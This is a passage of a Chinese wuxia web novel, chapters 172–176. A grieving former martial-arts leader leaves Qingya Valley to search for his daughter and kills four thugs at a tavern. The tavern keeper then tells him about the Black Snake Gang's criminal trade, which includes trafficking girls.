半个月来。余十三一直在谷中搜索小月的踪迹。在他每日每夜,任劳任怨的搜寻过程中,他找到了我遗落的青光和血芒。 他还找到了一件浸满了鲜血的外衣。那是小月的外衣,那浓重的血腥气息下,还隐隐保留着小月的体香。 我越来越坚信,小月她已经死了。 余十三说,这深谷之中只有他兄妹二人居住。 小月没有被别人救走的可能。她并不如我幸运,能从万仞悬崖之上跳下没被摔死,还被人救了起来。 又或许,她比我幸运,不必孤苦伶仃地活在这个无情的世上,承受生离死别的痛。 有些伤痛,会在它发生之后的一段时间里的确让人痛不欲生。但却也会在晃晃而过的时间里,逐渐变淡。 然而,即便是它变得很淡了,却也仍会如一根扎在心口的刺,每时每刻都能让人感受到隐隐的疼痛。 纾瑶已经失踪了整整半个月了。 在我被余十三兄妹二人救起之后的半个月里,我曾不止一次想过要了此残生,去到阴曹地府里与小月相会。 然而,每当我心意已决之时,纾瑶天真烂漫的笑容总会在我脑海中浮现。 我的女儿。 小月在临死前,她唯一挂念的便是纾瑶。我已经对不起他们母女二人,如今我唯一可以弥补的,就是忍受着痛苦活下去,去找到纾瑶,给她一个安定而快乐的生活。 3 一日醒来,已近晌午,我感觉身体轻松了许多。除却久卧导致头脑有些浑噩,我已经感觉不到伤口处那种钻心腕骨一般的疼痛,反而有一种麻痒的感觉。 我强撑着无力的身体,一步一步地走出简陋的茅草屋。 青青石台上,一袭长发飘飘的少女正在专心致志地熬着草药。石锅里乌黑的药汤,散发着令人作呕的苦涩。 少女仿佛是没有闻到一般,坐在火堆旁,用一块干燥的树皮做蒲扇,摇晃着,石锅下的火苗随着她的动作一跳一跳地响应。 和煦的阳光打在她白皙稚嫩的脸上,给她两腮边浅浅的绒毛镀上了一层金灿灿的光彩,微风一吹,金灿灿的绒毛随风摇摆,就像是一大片黄橙橙的稻田,鼓动着令人喜悦的稻穗。 “你叫余……”这些日子,余青儿一直在照顾我,但我却还是总记不住她的名字。 少女似乎陷入沉思一种,被我惊醒,手一慌乱,树皮掉在地上。她又慌忙捡起来,一边扇风,一边冲我灿然一笑,说“大哥哥,我叫余青儿!” 声音如银铃脆响,婉转动人。她这样美好的年纪,让我不禁想到了纾瑶。 十年之后,不知纾瑶会不会也如她这样一般,在这幽静闲适的山谷里,被阳光照耀着,被山风吹拂着,如此楚楚动人。 “呀!”余青儿忽然惊叫了一声,满脸焦急地问我,“你怎么下床了?你的伤怎么样了?” 我冲她微微一笑,说“我很好,你不用担心。” 余青儿仍旧不放心,跑到我跟前要检查我的伤势。她小声嘟囔着“不行,不行,大哥一再叮嘱我要看好你。如果你有什么闪失,他会骂死我的。” 我向后退了两步,躲开余青儿要伸到我胸口的手,说“我只要还活着就行,你大哥那个人,他不会在乎其他的。” 余青儿露出怫然不悦的神色,她皱着眉头,似乎是对我的话颇为不满。她说“你不要这样说大哥。他其实是一个嘴硬心软的人,你救他一命,这份恩情他会记一辈子的。不然也不会每天早出晚归地替你去找人。” 真的是这样吗? 想起余十三那古怪的性格,那令人生厌的表情,还有那些直接得都有些无情的言辞。无论余青儿这时如何袒护,都难以改变我对余十三以烙在心底的不良印象。 “哎呀!”余青儿忽然大叫,“糟了!糟了!”她急匆匆地跑回到石锅前,也顾不得烫手,便掀开了盖在石锅上面的半片木板,往黑乎乎的石锅里看了两眼,突然脸色一变,几乎就要哭出来了。 “这可怎么办,这可怎么办?”余青儿带着哭腔。 我问“怎么了?” 余青儿抬起头,泪眼汪汪的看着我,说“自顾着和你说话了,把草药熬糊了。” 我无奈地摇了摇头,安慰道“一份草药而已。我不喝便是了,你何须如此?” 余青儿说“那怎么可以?!这些草药是大哥冒着生命危险,爬到十几丈高的断崖上采来的,对你的伤大有好处。现在被我熬成一团焦黑,岂不是白费了大哥的一番苦心。” 我看着远处,很远的远处,那几乎是毫无棱角的光滑石壁。若余青儿说得都是真的,我不敢想象那个看起来还有些孱弱的少年是经历了怎样的艰辛和危险才拿到这些草药的。 我一阵感动,说“我……不值得他如此对我。” 的确不值得。即便是我对他曾有过救命的恩情,到如今,失去了小月的我,实际上已经是一个死人了。只不过是为了女儿,强撑着这副皮囊在这世间苟活罢了。 为了救我,任何人都不值得去冒任何风险了。 余青儿依旧沉浸在深深地自责中。我走到她身旁,捡起地上的一个木勺,在石锅中舀起一大块发黑的药渣,在余青儿还没来得及作出任何反应的时候,直接塞进了嘴里。 我知道,这药渣定然很苦,甚至是我以往都不能承受的苦。 但如今,这世间还能有什么比我的心更苦涩? 我相信,这世间一切的苦涩对于我来说都已是淡然无味。然而,那火烧火燎的烫,却带给我如由生至死的痛苦。 药渣刚入口,一股焦灼难以忍受的疼痛从舌尖儿一直到舌根,又钻进喉咙,疼得心肺都缩成了一团。 “噗!”我慌忙将药渣吐了出来,黑色的药渣喷了满地。我极力地把舌头伸出来,用力扇着,却总也扇不去那火烧火燎的疼痛。 余青儿被我逗笑了,她咯咯的笑着,似乎是全然忘却了方才把药熬糊时的自责。 如铃般的笑声,将她少女纯粹的本性显露无疑。 (本章完) (教育123文学网) 第一百七十三章 离开 1 “青儿!” 远处一声厉吼。少年健步如飞,跑到余青儿跟前,将笑容尤未收起的余青儿牢牢地挡在身后。 余十三警惕地看着我,并没有跟我说一句话。片刻之后,他转身对着余青儿用十分严厉的口气说“我不是告诉过你了吗?叫你不要离这个人太近,他来历不明,你不能丝毫不去防备!” 来历不明?! 余十三的话让我异常气恼,加之刚刚“装逼未遂”被烫了舌头,一股强烈的无名怒火冲击着我的头脑,让我产生想要将这个叫余十三的少年按在地上狠狠地发泄一顿的冲动。 然而,我尚未来得及发泄,余青儿天真的声音如一股清流将我浇醒。 “大哥,你不是说,他是你救命恩人吗?” 我点着头,对余青儿的话便是赞同,并等待着余十三的回答。 然而,余十三却斜眼瞥了我一眼,对眼前的少女语重心长地说“青儿,他救过我,并不代表他一定就是好人。” 这逻辑……正确得让我发不出任何脾气。 余青儿似懂非懂,她忽闪澄澈的大眼睛,说“可是,我觉得这个大哥哥很有意思啊!” 余十三怔了怔,他目光恰好投在焦黑如炭的石锅里,问“这药怎么了?” 余青儿看了看我,两只手紧张地扣在一起,说“这个,这个是……” “是我!”我实在不忍心看着余青儿为难的样子,我说,“我把药熬糊了。” “你?”余十三满脸狐疑,“你熬药?” “不是!”余青儿大声喊道,“是我把大哥哥的药熬糊了。”她目光闪烁着坚持,不肯让我替她承担任何责任,但很快,她便又面带愧疚地看着余十三,说“对不起,大哥,都是我不好。你好不容易采到的草药,被我给熬坏了。” 余十三愣了愣,转而微微一笑,说“没什么。明天我再去采一些药就好了。”他又看了我一眼,说“况且,他一天不吃药,也不会死。” 这个令人恼火的臭小子! 我瞪着余十三,看着他若无其事的模样,禁不住攥紧了拳头! 2 青崖谷里的风,诡异而多变,让人丝毫琢磨不透它的规律。 有时候,白天里,山风轻缓温柔,如春风拂面一般,让人备感舒适。到了晚间,或许在半个时辰之内,就会变得呼啸疾驰,如同是深秋的风一样萧瑟寒冷。 但也有时候,白天里风声呼啸如野兽怒吼,到了晚间却平平淡淡,让人几乎不能察觉。 我有时候在想,莫非是这样诡谲难测的环境,影响了这个少年,让他也 变得如山谷的风一样不可捉摸。 有一次,我见余十三脚步踉跄地从昏暗的晚景中归来,身上不知是被什么划破,带着几道触目惊心的伤口。 他的表情平淡,看不到一丝一毫的痛苦。 我问他“你怎么了?” 余十三淡淡地说“没什么。从山坡上滚下去了。” 他也不过是十六七岁的模样,就如同是我当年初下雁荡山时一样的年纪。但在他的脸上,我看不到像我当年那种茫然和慌乱。 余十三小心翼翼地看了一眼茅屋,问“青儿呢?” 我说“她睡着了。” “这么早?”余十三脸上带着担忧,“不会是生病了吧?”他快步走到余青儿的屋子,蹑手蹑脚地靠近床沿,在她手腕上轻轻一搭,脸上的担忧瞬间消散。 余十三又走到我身旁,从身后的布袋里掏出两块烤熟山芋,说“今天没有打到猎物,凑合吃这个吧。” 这个山谷,树木葱郁,却又十分贫瘠。 李小谦曾说过,林子大了什么鸟都有。 我曾经以为这是至理名言,但到了青崖谷之后才发现,这么大的一片林子里竟然连个鸟都没有。 余十三自己坐在地上,拿出小小的半块山芋,自顾自地啃了起来。 我把手中的一块递到他面前,他却摇头拒绝,说“我不用。你快些养好伤,然后离开青崖谷,我便可以多吃一些了。” 我没好气地将手抽了回来,但总觉得这个说话从不给人留半分情面的臭小子,总让我隐约间想到当年的自己。那时的我也如同他这样,无论说怎样的话只想着个人的情感喜好,丝毫没有考虑过别人的感受。 坐到余十三身旁,我问他”你在这个山谷里住了多久了“ 余十三说”三年。“ 我说”天下之大,有那么多又僻静又丰裕的地方,你为什么偏偏选在这里?“ 余十三抬手指了指远处一个方向,说”我娘葬在这里。我要为她守孝三年。“ ”然后呢?“我问。 ”然后“余十三抬起头,双目迷离,说,“没想好,大概还会在这里吧。” 我问“为什么?”对于生活来说,这个贫瘠的山谷的确不是什么好处所。 余十三说“在这里至少可以吃饱,走出这里,或许连吃的东西都没有。” 我看着眼前的这个少年,若不是在这样一个时代里,或许他可以生长在一个圆满的家庭里,幸福地活着。然而,他却生长在了这样一个极不稳定的时期,小小年纪便与残酷的生活抗争着。 然而,那时候的我不会想到,余十三这一生中最悲惨的不是生错了 时代,而是他偏偏遇见我了。 3 这夜,天刚黑,深谷的晚风微冷,让衣衫单薄的我不禁打了一个寒颤。 “大哥哥!”悦耳的声音从身后传来,让这个凄冷的夜晚陡然多了一些温度。 我转过身,看见余青儿神神秘秘地向我走来,她走到我身旁,从怀里掏出半块山芋,塞到我手中。 山芋其实已经凉透了,但却因被余青儿在怀里揣着,所以才有了这少女的体温。 我不解地问“你这是……” 余青儿连忙“嘘”了一声,说“大哥哥,这是我晚上偷偷留下的。你,你可以明天吃。” 我并不明白余青儿的用意。她只是一个十三四岁的少女,莫非是到了情窦初开的年纪,对我产生了一些情意? 我问“为什么要这么对我?” 余青儿一怔,脸颊一红,慌忙摇头解释,说“大哥哥别误会。只是……大哥他这些日子把自己的食物分了大半给你,却又不肯吃我的东西。他本身饭量便大,已经许久没有吃饱过了,所以,我担心……我以后把自己的食物剩下一些,每天晚上偷偷给你,这你第二天便可以少分一些大哥的食物了,他便可以多吃一些……” 原来是这样。 余青儿与余十三之间的兄妹情深着实让我感动。想起自己经历的这些年,那许多人之间何曾见过有一份感情让我动容? 我把山芋塞回余青儿的手中,说“拿回去吧。我不要。” 余青儿竟有些着急了,她说“我担心大哥的身体,你帮帮我吧。” 我背过身去,看着幽深的山谷,远处的黑暗中不知是什么如同星星一般闪烁着,透着迷人的未知。 是时候该离开了。 我心里想着,小月,我一定会找到我们的女儿。 我说“我明天就离开。” 余青儿绕到我面前,满脸急切,说“我,我不是要赶你走,你有伤在身,我只是……” 我打断她,说“我的伤没事了。我也应该走了。” 余青儿怔怔地看着我,半晌,她小心翼翼地问“大哥哥要去哪里?” 我要去哪里呢? 我摇了摇头,我也只能摇头。对着这个情深义重,天真烂漫地少女,丝毫没有隐瞒地说“我不知道。但我必须走,我要去找我的女儿。” “你的女儿?”余青儿瞪着水汪汪的眼睛,忽闪着就像是星光一样闪烁,她说,“你的女儿在哪里?” 这真是一个让我难以回答的问题。天地茫茫,江湖如此广阔,纾瑶就像是沉入了大海的一粒沙子,毫无痕迹可寻。 我悄悄攥紧手中的双剑,说“无论她在哪里。我一定要找到她!” (本章完) (教育123文学网) 第一百七十四章 现状 1 天色拂晓。 青崖谷中依旧寂静如深夜,听不见虫鸣鸟叫,也没有野兽的嘶吼,只听见呼呼的风吹过山谷的声音,犹如鬼泣一般骇人。 绍兴二十年的五月。 我离开青崖谷,踏上了寻找纾瑶的征程。那时,我不知道将来会发生什么,也不知道这一去到底何处才是终点,我甚至不知道自己踏出青崖谷后的第一步究竟要迈向何方。 我只知道,我已经不能再等下去。早一天找到纾瑶,她便少一份危险,甚至是多一点生机。 顺着流过山谷的河道,莫约两个时辰,我便已走出了青崖谷。胸口的伤尚未痊愈,这两个时辰的路程,每走几刻,便会觉得胸腔中传来隐隐约约的疼痛,然后便要坐下来调息片刻,否则疼痛加剧,便会让我难堪忍受。 站在两山交叠的谷口,我回望林木葱郁的青崖谷,一层淡淡的云烟在树木之上缓缓飘荡,将墨绿色的山谷裹得如同书画里的仙境一般。 云烟晃动,旖旎变幻着形状,与此同时,颜色也更加浓重了些,渐渐地竟变成一团乌黑,犹如是山谷中浮升起一片乌云,似乎是有暴雨将至一般。 这个奇怪的山谷。 我苦笑着摇头,想起余十三坚持着住了三年的地方,比起他,我更加幸运,因为我居住的藏龙涧,毕竟还是一个景色秀美的,气候舒适宜人的好地方。 藏龙涧! 我忽然想到,或许我应该去藏龙涧看看。既然陈伯洋真的已经死了,那纾瑶会不会根本没有离开过藏龙涧? 抱着这样的一丝侥幸,我迈出了去往藏龙涧的第一步。 2 绍兴二十年。 朝廷之中正悄然酝酿着一场暗流汹涌的权争。被民间骂作奸贼的秦桧,权倾朝野十余载,甚至连赵构都不敢与之争夺。然而,随着他日趋老迈,赵构已经越发不能忍受自己处处被秦桧限制的局面,皇权与相权之间的争夺,已逐渐浮出水面。 秦桧也逐渐感受到了自己处境的危难,他更加紧张地培植势力,极力地栽培养子秦熹,寄希望于他百年之后,秦熹可以继承大宋朝廷的宰相要职,已此来保障他秦家不会被赵构反攻倒算。 除却朝野之上的权力争夺,秦桧把目光投向了他一直不曾放在眼中的江湖。 江湖各大门派,自经历了绍兴十六年管天下之乱后,借机聚集,逼迫朝廷改变策略,谋求了一线生机。 虽然,这四年里,各大门派的生计依旧艰难,但比起我做武林盟主的那些年,却也是舒服了许多。 一则因为管天下之乱,造成五大门派尽数被剿,江湖丧失半壁, 实力大减,赵构对江湖的忌惮也少了许多。 二则是因为秦桧的意图拉拢,使得朝廷上下官员对各大门派的监管稍稍松懈了许多。可以说,只要各大门派不会犯上作乱,从上至下的大小官员对各大门派的作为皆是睁一只眼闭一只眼。 便是在这样的环境下,各大门派如八仙过海,各显神通,门派之间的差距也日趋明显。 月牙山庄重操旧业,凭借其对四周山贼匪盗的震慑,又做起来保镖护镖的生意。尤其是慕容顺为人精明,又讲信用,深受各路镖局好评,不过几年的时间,月牙山庄生意兴隆,财源广进,俨然成了江湖上最富裕的门派。 括苍派学起了当年的双刀门,在各地开设了武馆,派得力弟子前去打理,招收学徒。但陈伯洋心思深重,他担心括苍派如此行径会让朝廷联想到当年的双刀门,因此严令弟子控制学徒数量,每家武馆招收弟子不得超过二十人。虽说如此,但括苍派声明远播,在民间颇受欢迎,即便是学费高昂,却仍有不少家境殷实的子弟争先恐后,甚至托人找关系也要到括苍派的武馆中学些本领。 南华派从前以开设妓院为生,但经过了多年诗书典籍涵养的司徒清尘,总觉得南华派的旧业有辱斯文,执意不肯重操。就在别的门派风风火火地大把挣钱之时,司徒清尘力排众议,埋头继续创作。没了何白旗翻印盗版,司徒清尘的洪荒巨著逐渐有了起色。在民间销量猛增,南华派上下忙得不亦乐乎,那些当年消瘦下去的弟子也日渐肥胖了起来。 青云派成了江湖上最为神秘的门派。这些年,易小心醉心于武学,无心打理青云派上下的事务,将门派生计俗事全都交给了神剑无敌的武练打理。武练性格宽厚,甚至略有些愚钝,一直未能找到一条适合青云派的求财之路。眼看着白景行为青云派积攒了二十多年的家底即将被坐吃山空,忧心如焚而又无计可施的武练找到了易小心,请他履行掌门之职,为青云派谋求生计。据传说,当时的易小心一言未发,负手下山,天亮时他赶着一辆双辕的马车回来,命驻守山门的弟子将车上的木箱统统搬回青云派。当沉重异常的十个大木箱堆满了厅堂的时候,易小心面色淡然地一剑挑开十个木箱的盖子,霎时间厅堂中雪白一片,白花花的银子看得一众弟子目瞪口呆。从此,易小心在青云派的声望地位猛涨,再也不被小觑。江湖人都说,七年苦练不如十箱白银,有钱不一定能让鬼推磨,但却可以让人臣服。 五大门派里混得最为凄惨的当属龙虎帮。周望安性情憨厚,为人忠义,在我看来,他算得上是这个江湖中难得一见的好人。然而,周 望安却始终不屑于和那些满身都是铜臭的其他门派同流合污,因此一直不热衷于经营。不仅如此,他还时常讥讽其它门派,说金钱是粪土,他们都是掏粪的俗夫。他对自己的弟子说,江湖人的眼中只能有刀剑和侠义,不能有金银。由此,龙虎帮上下勒紧束腰,以种地打猎为生,依旧过着如同往昔一样清苦的日子。 记得以前,我做武林盟主的时候,李小谦曾教导我,一个单位混得好不好,关键在一把手的能力。我理解的是,一个团伙有没有肉吃,得看这个团伙的头目有没有本领。 看这些年里各大门派的发展,我更加深刻地体会到了这个道理。 (本章完) (教育123文学网) 第一百七十五章 恶人 离开青崖谷之后,我一心挂念着纾瑶,半路抢了一匹马,一路向西,奔赴曾经一度给了我许多年安定生活的藏龙涧。 一日夜间,我路过一座镇子,名曰清泉镇。 这镇子北侧有一口泉眼,涌出的泉水温热而甘甜,它一年四季昼夜不停,泉水汇成小河,穿过了整个小镇,滋养了镇子上数以千计的百姓。没有人说得上这口泉眼的年代,也没有人能知道这口泉眼里的甘泉还能流多少年。 小河边,一个看起来并不算扎眼的酒馆。在这所有人都已睡熟了的深夜里,依旧灯火通明,酒馆中不时传出肆虐的欢笑声,搅扰着小河两岸的安宁。 一路奔行得有些疲倦的我,加之伤口处被颠簸得疼痛难忍,我便索性在这深夜里,带着一直沉重的心情,循着欢闹的声响,走进了酒馆。 春华酒肆。 狭小的厅堂正中挂着老旧的牌匾,看起来似乎是有些岁月了。一个年迈的老者打着哈欠,托着腮,极不情愿地坐在柜台前,两只眼皮沉重,昏昏欲睡,就连我走进酒馆,他都丝毫没有察觉。 “掌柜的!” 一声尖锐的吼声从欢闹声传来的角落里响起。一个精瘦的汉子,**着上身,他胸口上刺着一只盘旋起来的毒蛇,吐着信子,让人看着便感觉一阵悚然。他一只脚踩在长凳上,对着几乎就要睡着的老者喊道:“再拿两坛酒来!” 老者被他一声吼叫,吓得浑身抖了一个激灵,看上去昏昏而来的睡意也醒了七八分。他连忙应道:“这就来,这就来。”转身在柜台下抱起两坛酒,一抬头,正好看见了我。 那老者怔了怔,似乎对我的出现颇感疑惑。他问:“客官可是和那几个大爷一起的?” 我看了一眼那个狼藉一片的角落里,四个**着上身的汉子,露着虎豹龙蛇的刺青,醉眼迷离,嘴上讲着浑话,肆虐地笑着。 刺龙的汉子两手捏成爪形,一张一合地比划着,说:“你们几个都不曾感受到,我上手捏那小娘们儿屁股的时候,简直是如簧片一般,经将我的手生生弹开了。” 几个汉子放声大笑,刺虎的汉子接过话来,说:“大哥你忒也不仗义,有这等好事也不知道和兄弟们分享一下,怎地竟吃独食?” 另外两名汉子闻言,纷纷称是。刺龙的汉子眯着眼睛,一摆手,说道:“我享用完之后,本想通知几个兄弟前去,没想到那小娘子刚烈得很,竟然咬舌自尽了。莫说是你大哥我只吃独食,我也是觉得万般可惜啊,那样好的姿色,只怕是再难寻觅了。” 凭这样的几句对话,我立时便感觉这四个汉子并非善类。我对老者说:“我不认识他们。” 老者忽然有些慌张,小声说:“客官快走吧,这几位大爷凶悍得很,他们已经把小店给包了,客官莫要在此自讨没趣。” 我又一次看了向那四个汉子。这时,刺蛇的汉子屁股下一声异响,他随即躲到一边,指着坐在他身旁刺豹的汉子说:“三哥,你放屁怎么也事先招呼一声?” 刺龙、刺虎的汉子哈哈大笑。刺豹的汉子满脸通红,叫道:“放,放,放......啊......放屁!明明是,是,是你放的!” 刺蛇的汉子捏着鼻子,说:“三哥,好汉做事好汉当,怎么放个屁也不敢承认啊?” 刺虎的汉子笑道:“就是,这屋里又没有娘们儿,男人在一起放个屁,那算个屁啊!” 刺龙的汉子眯着眼,说:“二弟说得对,不算个屁!” 这些年,我随着武功的日渐精进,听声辩位的本事已经做得分毫不差。从方才屁声发出的方位来判断,我断定那屁一定是刺蛇的汉子放的,他以极快的速度反应,经这个屁栽赃给了身旁的人。 刺豹的汉子自然不能接受,他一拍桌子,指着刺蛇的汉子吼道:“你,你,你......放,放屁!我,我,我.......没放!” 刺蛇的汉子装作勉为其难地样子,说:“罢了,罢了,你说是我放的,便算作是我放的吧,谁叫你是做哥哥的呢。”说完,他还无奈地叹息了一声。 刺豹的汉子一把抓住刺蛇汉子的精瘦的胳膊,瞪着愤怒的眼睛,艰难地吼着:“别,别,别.......” 他还没有说完,一旁看热闹的两个人笑着开始劝解。 “算了三弟,你嘴上又不利落,何苦如此为难自己呢?” “就是,就是,不就是个屁嘛,就当是二哥放的吧!” 刺豹的汉子显然不能接受这样的结果,他体型在四人之中最为壮硕,体型宽厚,高大威猛。他用力一推,将刺蛇的汉子推翻在地,指着他骂道:“狗,狗,狗东西,你,你,你说实话!这,这,这屁究竟是,是,是.......谁,谁,谁放的!” 刺蛇的汉子满脸委屈,指着自己鼻子说:“是我,是我!” “嘭” 刺豹的汉子勃然大怒,飞起一脚揣在刺蛇汉子的胸口。刺蛇的汉子惨叫一声,在地上打了几个滚,慌忙爬起来躲到了另外两人的身后。 “大哥,二哥,三哥他打我!”刺蛇的汉子捂着胸口。 刺龙的汉子满脸不悦,嚷道:“一个屁而已,何至于兄弟相残?!” 一个屁的确不至于让兄弟相残。然而,刺豹的汉子所不能忍受的并非是这个屁,而是来自别人的栽赃和诬陷。 在另外三人的笑声中,刺豹的汉子最终爆发了。他挥舞着暴虐的拳头,重重地砸向了刺蛇汉子的面门。 刺蛇的汉子冷不丁的吃了一计重拳,立时口鼻喷血,惨叫一声栽倒在地上。刺豹的汉子仍不解气,冲上前去一顿乱打。 另外两个汉子连拉带拽,在一旁极力劝阻,却丝毫不能阻挡那雨点一般挥下的拳头。 一时间,欢声笑语变成惨叫连连,桌椅板凳横飞,酒碗菜碟落在地上摔得粉碎。老者在一旁看着,即着急又心痛,却又不敢说些什么。 我看着满脸褶子的可怜老人,几乎是欲哭无泪的模样,一时泛起怜悯之心,便冲着那几名莽汉大声喊道:“都住手!” 路见不平的这一声吼叫着实是重了一些。龙虎豹三人同时停下手来,疑惑地看着我。就连那个被打得满脸是血的刺蛇汉子,也一脸茫然。 “你,你,你是什么,什么东西!”刺豹的男子艰难地说着话。 我说: “打人可以,但不要砸坏老人的东西。” 刺龙的汉子似乎对我的话颇感费解,他从桌上摸起一个盘子,端在手里看了看,一松手,盘子落地,“啪”的一声碎成数块瓷片。 “哪里来的野小子,也敢管我们的闲事?”刺虎的汉子瞪着眼睛盯着我,说,“可是不知道我们五大恶人的厉害?!” 五大恶人?! 我又仔仔细细的将眼前的人数了一遍,更是一头雾水,我说:“你们明明是四个人,为什么叫五大恶人?” 刺虎的汉子拍了拍他大哥的胸脯,说:“我们兄弟本来是五人,月前在身上刺青,小弟不懂事,大哥叫他刺狼,他偏偏刺了一只狗。我们大哥怕他堕了五大恶人的威名,便将他杀了。” 果然是恶人。先是刺豹的汉子为了一个屁险些将兄弟打死,如今有听他们说竟为了一个刺青杀死了自己的另一名兄弟。 我说:“你们也忒残忍了!” “残忍?”刺龙的汉子不屑地笑着,说,“你跟我们兄弟几个说残忍,堪比跟怡春院的娘们儿说风骚。都是干的这个行当,不如此怎能混口饭吃?” 几个汉子爆笑如雷。 忽然,刺虎的汉子身形一动,陡然向我发难。他手中不知何时多了一把尖刀,一尺长,刀锋凌厉,直向我刺来。 草莽贼寇,绝不可能伤我分毫。 青光一闪,剑气如风。刺虎的汉子还未近我身,便被青芒剑的剑气荡回,连退了数步,倒栽在地上。只见他胸口刺着獠牙猛虎被我一剑划出了一道裂口,鲜血沁出。 另外三人笑声骤止,面面相觑,忽然大喝一声,一齐向我扑来。 我又横断青芒剑,向前一扫。龙、豹二恶步法稍快,最先被青芒剑气所伤,胸口各横一了一道伤口,倒在地上。刺蛇的汉子本就浑身是伤,他心思狡诈,两眼珠一转,哎吆一声,随着龙、豹二人一齐趴在了地上。 “阁下到底是谁?”刺龙汉子捂着胸口的伤又站了起来,他自然是知道了自己远不是我的对手,因此手上没有任何进攻的动作。 我思前想后,名字到了嘴边都没有说出口。我说:“你们走吧,我不杀你们。” 刺龙的汉子一怔,似乎有些不敢置信。他一边直直地盯着我,一边摆着防御的架势向门口退着。其它几人见状,纷纷爬起来,跟着刺龙的汉子向门头退。 我的确不愿杀人,即便他们是十恶不赦的恶人。 快到门口时,他们本可以转身走掉。但刺龙的汉子似乎是对败在我之事耿耿于怀,他嘴中发出一声冷笑,笑声极为轻微,却仍旧被我敏锐地捕捉到了。 紧接着,我眼角余光略过门口的瞬间。我看见数道乌黑的影子从那刺龙汉子的手中飞出,正以极快的速度向我射来。 又是飞镖暗器。 我不禁觉得好笑。可笑的人,可笑的想法。他可知道,这世间除了那第一百一十三根银针之外,还有什么是我不能接住的? 青光一闪,叮叮叮三声脆响。 三道飞镖被我一剑打回,酒馆的门口却倒下了四个人。 第一百七十六章 恶帮 他们死了。 我的手上又一次沾染了鲜血。我不喜欢杀人。每一次杀人之后,我的心里便会异常难受。然而,这次与往昔不同的是,我杀死的是四个十恶不赦之人,他们或许本就该死。 我丝毫没有愧疚。酒馆的老板对我也颇为感激,他躬着身子向我连连道谢,但抬起头时那皱纹交错的脸上却布满了担忧之色。 我问他“你怎么了?” 老者长叹一声,说“你除去了这四个恶人,本是替天行道的好事。但却也得罪了不该得罪的人。” 不该得罪的人? 我问“是谁?” 老者警惕地四下张望了一番,说“客官你有所不知,这四人本也不是什么武林中人。他们从前不过是清泉镇的地痞赖头,常年在镇子上横行霸道,为祸一方,乡亲们对他们恨之入骨。尤其是近年,他们不知怎地就勾结上了黑蛇帮,与黑蛇帮采花堂的堂主,人称迎风一丈的韩千浪称兄道弟,专门帮着采花堂四处寻觅一些颇有些姿色的少女,在其中赚些拐卖少女的脏钱。” 黑蛇帮?采花堂?韩千浪? 这些名字都陌生得很,在我离开江湖之前,从未听说过这些名字。 我说“也不过是个不入流的小门派,为何不报请官府予以清剿?” 没想到,我这话一说完,老者登时满脸愁容。他忽然有些疑惑地看着我,问“我看客官伸手如此了得,怎对这江湖之事了解如此之少?” “你懂什么?!” 这话说得我十分不满。想当年,我身居武林盟主之位,虽不能说是受人敬仰,威风赫赫,但怎么也是与江湖十大门派各方交手过的,说我对江湖之事了解得少,我当真是不服气。 我忽然觉得自己好笑。看着眼前这个身形佝偻的老人,我又何苦跟这样一个不在江湖的酒馆老板争执江湖是非。更何况,那段经历也并不怎么光彩。 老者却不依不饶,他说“我怎么不懂。你莫要看我这酒肆小,但酒香飘百里,在那些行走江湖人的口中也是广为流传的,因此也时常会有些江湖好汉来我这里饮酒尽欢,老夫在一旁端酒送酒,耳濡目染,自然就对这江湖上的事了解了许多。”说着说着,他脸上竟露出几分骄傲的神色,从怀里掏出一本册子递到我眼前,说“近来,老夫将数十年之所闻撰写成了一本江湖轶事录,其中记载了很多江湖上的奇闻轶事。你说老夫是懂还是不懂?” 道听途说的事而已,他竟然也说得如此认真。我不屑地看着他,说“那你倒是给我说说,这个黑蛇帮究竟是什么来历?” 老者轻轻捻开书册 ,翻了几页,便凑到我面前,说“要说这黑蛇帮那可是来头不小啊。”他搬过一把长椅放在我跟前,示意我坐下。 正好我胸口的伤在隐隐作痛,便也不客气地做了下来。那老者陡然间倦意全无,精神矍铄,端着自撰的江湖轶事录,如同是说书先生一般地向我讲述了有关于黑蛇帮的故事。 从前,江湖上并没有黑蛇帮。 但四年前,管天下起义失败之后,虽说十万大军被伏诛于汀泉山。然而,那样庞大的队伍中却也不可避免的有了一些漏网之鱼。 这黑蛇帮的帮主便是其中的一条鱼。 黑蛇帮帮主名叫徐长风,乃是当年阔刀门门主陈大刀的师弟,他刀法精湛,比起陈大刀有过之而无不及。据说,他手中大刀一挥,四周便好似挂起狂风一般,根本不发靠近,只因他惯于左手持刀,因此被江湖上成为左风刀。 左风刀徐长风从重兵包围的汀泉山逃出之后,自福州城一路跑到浙东一带。一次偶然机会,收服了当地的两伙山匪,在蛇头山成立了黑蛇帮。当地百姓本以为,徐长风收服山匪可以引导他们祛恶为善,但万般没有想到的是,这人竟比那些山匪更加丧心病狂。 当时,正值朝廷之中放宽对江湖的管制,各大门派风风火火忙于生计,朝廷上下乐得清闲对江湖之事充耳不闻。 徐长风看准时机,将黑蛇帮分为三堂,便是杀人堂、劫镖堂和采花堂。杀人、劫镖两堂便职如其名,一堂负责收钱杀人,一堂负责出山劫镖。寻常百姓自然不会买凶杀人,也付不起买凶杀人的那份银两,前来买凶的多是些江湖门派、高门大户,杀得也都是些小门小派人物或者富贾商户。而劫镖堂的生意都是劫掠过往镖队,多也是招致一些镖局的不满。唯独这采花堂,专门负责劫掠一些寻常人家里颇有姿色的少女,然后卖到青楼妓馆或者达官显贵家中,不知是祸害了多少无辜少女,害得多少寻常百姓家骨肉分离。 一年的时间,黑蛇帮凭借这些见不得人的肮脏生意,积攒了大量的财物。徐长风又用这些钱买通各路官府,甚是朝廷的一品大员都有涉及。黑蛇帮逐渐有了手眼通天的能力,逐渐形成了地方小官不敢管,“上级大官不愿管”的局面,由此使得黑蛇帮在短短三年的时间里日趋做大,俨然成了名副其实的江湖第六大门派。 老者讲得十分投入,我也听得异常专注。说到此处,我俩人同时叹息。 江湖当真是如水一般,看似澄澈如镜的碧波下,不知藏着怎样的肮脏。 忽然,门口处“咔”的一声轻响。我循声去看,只见那刺蛇的汉子 不知何时竟爬了起来,他正欲逃走时许是不慎踩到了什么东西,发出了一声响动。 刺蛇的汉子满脸惊恐,见我正在看他,“啊”地一声大叫,疯狂地向门外跑去。 “不好!”老者一声惊叫,“莫要让他逃走了。” 逃走便逃走吧。在这个茫茫的江湖中,他也不过是一直名不见经传的鱼虾,虽然满腹肮脏,但比起臭名昭著的黑蛇帮,实在太过无足轻重。 我没有动,老者却更加焦急,他扯着我的袖口,叫道“你,你怎么不去追他?” 我说“我不喜欢杀人,他走了便走了吧。” 老者愣住了,他怔怔地看着,一声长叹,说“你一时心软,放虎归山,可这清泉镇的百姓就要遭殃了。” 